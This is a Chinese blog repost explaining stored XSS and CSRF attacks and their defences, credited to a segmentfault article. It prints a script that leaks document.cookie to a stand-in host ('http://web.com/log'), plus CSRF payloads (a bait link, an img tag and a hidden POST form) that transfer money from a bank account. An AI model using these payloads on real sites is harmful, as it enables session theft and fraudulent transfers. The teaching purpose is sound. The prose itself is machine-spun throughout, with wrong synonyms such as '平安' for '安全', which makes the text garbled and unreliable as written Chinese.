Web平安提防(XSS、CSRF)

注:以下文章是我从民众号“码农翻身”中的
《黑客三兄弟》抽取总结出来的,这个民众号采纳说故事的体式格局解说手艺,清楚通俗易懂,能学到许多学问。

XSS(Cross Site Scripting)

应用他人的cookie,能够假装实在的用户,在颁布cookie的谁人网站中随心所欲。
由于浏览器的同源战略,所以不能获取到其他网站的cookie,但经由过程把JavaScript代码注入到目的页面中,就可以绕过同源战略,比如在HTML的<input>中注入JavaScript代码,比及数据提交到服务器端,会保留下来,下次展现页面的时刻,就会实行这段代码。
举例有如许一个网站,能够让你对某个文章输入批评:

《Web平安提防(XSS、CSRF)》

比及再次有人接见这个页面的时刻,就可以够把谁人人的cookie显现出来了!
固然不能直接把用户的cookie直接alert出来,而同源战略严厉限定了JavaScript的跨域接见,但同源战略并不限定<img>如许的标签从别的网站(跨域)去下载图片,所以能够经由过程建立一个不可见的<img>,经由过程这个<img>发cookie到本身的服务器。
直接上代码:

var img=document.createElement("img");
img.src="http://web.com/log?"+escape(document.cookie);
document.body.appendChild(img);

只需这段代码被实行,用户的cookie就会发送到他人的服务器上(“http://web.com/log”)。再将这段代码封装成一个js文件(web.js)。

《Web平安提防(XSS、CSRF)》

如许就可以够拿到用户的cookie。
这类盗取用户的cookie的要领叫做XSS。
注:根据XSS的分类要领,上面引见的叫做存储性XSS,伤害最大。另有反射型XSS,基于DOM的XSS,本文不再睁开。

防范措施:

在网站的Cookie加上HttpOnly属性:
Set-Cookie: JSESSIONID=xxxxxx;Path=/;Domain=book.com;HttpOnly
如许浏览器就制止JavaScript的读取了。

固然经由过程页面注入JavaScript代码,那就可以够不只是借Cookie了。比方能够用这个JS代码画一个假的登录框,掩盖到真的登录框之上,让用户信以为真,如许就可以够偷到实在的用户名和暗码了。或许经由过程JavaScript组织GET,POST要求,能够模仿用户在该网站做点四肢,删点什么东西,从一个账户往另一个账户转账,都是能够的。

防范措施:

将用户输入的特别字符比方<,>过滤掉,如许<script>能够会变成’script’被存到数据库里。
另一方面还能够对输出举行编码/转义操纵,比方把<变成&lt;,把>变成&gt;,浏览器收到今后,就会认为是数据,把<script>作为字符串给显现出来,而不是实行背面的代码!

CSRF(Cross Site Request Forgery)

一个用户的会话cookie在浏览器没有封闭的时刻,是不会被删除的,所以能够换个思绪,不再去偷这个cookie了,相反,能够在web.com中组织一个领奖页面,内里包括一个衔接,让用户去想念,比方:

祝贺你获得了iPhoneX一台,快来<a href="www.icbc.com.cn/transfer?toBankId=黑客的账户&money=金额">领取吧</a>

这得先晓得icbc.com.cn的转账操纵的url和参数称号。
假如这个用户正好登录了icbc.com,那他的cookie还在,当他不由得引诱,点了这个链接后,一个转账操纵就神不知鬼不觉的发作了。
注:为了轻易展现,本文举了一个异常简朴的案例,银行现实的转账操纵要远远比文章形貌平安的多。
除了让用户点击外,还能够运用img标签<img src="www.icbc.com.cn/transfer?toAccountID=黑客三兄弟的账户&money=金额">,只需用户打开了这个页面,不点击任何东西,就会发作转账操纵。
所以如今有许多邮箱默许是不显现邮件中的图片的。
假如icbc.com.cn的转账操纵须要form表单,是POST操纵,那末能够本身建立一个表单,放到一个不可见的iframe中,用户只需一接见,就用JavaScript自动提交。

<form action="http://www.icbc.com.cn/transfer" method="POST">
    <input type="text" name="toAccountID" value="黑客的账号"/>
    <input type="text" name="money" value="金额"/>
</form>

总之,只需用户在接见icbc.com.cn的时刻,接见了web.com,就极有能够中招,这类体式格局,只是应用了一下正当的Cookie,在服务器看来,发出的这个要求是一次正当的要求。这个就叫跨站要求捏造,Cross Site Request Forgest (CSRF)。

防范措施:

1.用户在icbc.com.cn转账,显现转账的form,除了经常使用的字段以外,分外增加一个token:

<form action="http://www.icbc.com.cn/transfer" method="POST">
    <input type="hidden" name="token" value="axsa;dsww98725678836554xskdhf82735672"/>
    <input type="text" name="toAccountID" value="黑客的账号"/>
    <input type="text" name="money" value="金额"/>
</form>

这个token是icbc.com服务器端天生的,是一个随机的数字。

2.用户的转账数据发送的服务器端,icbc.com就会搜检从浏览器发过来的数据中有没有token,而且这个token的值是否是和服务器端保留的相称,假如相称,就继承实行转账操纵,假如不相称,那此次POST要求肯定是捏造的。

这个token是服务器端天生的,没法捏造,CSRF的手腕也不行了。

    原文作者:刘欢
    原文地址: https://segmentfault.com/a/1190000013022789
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞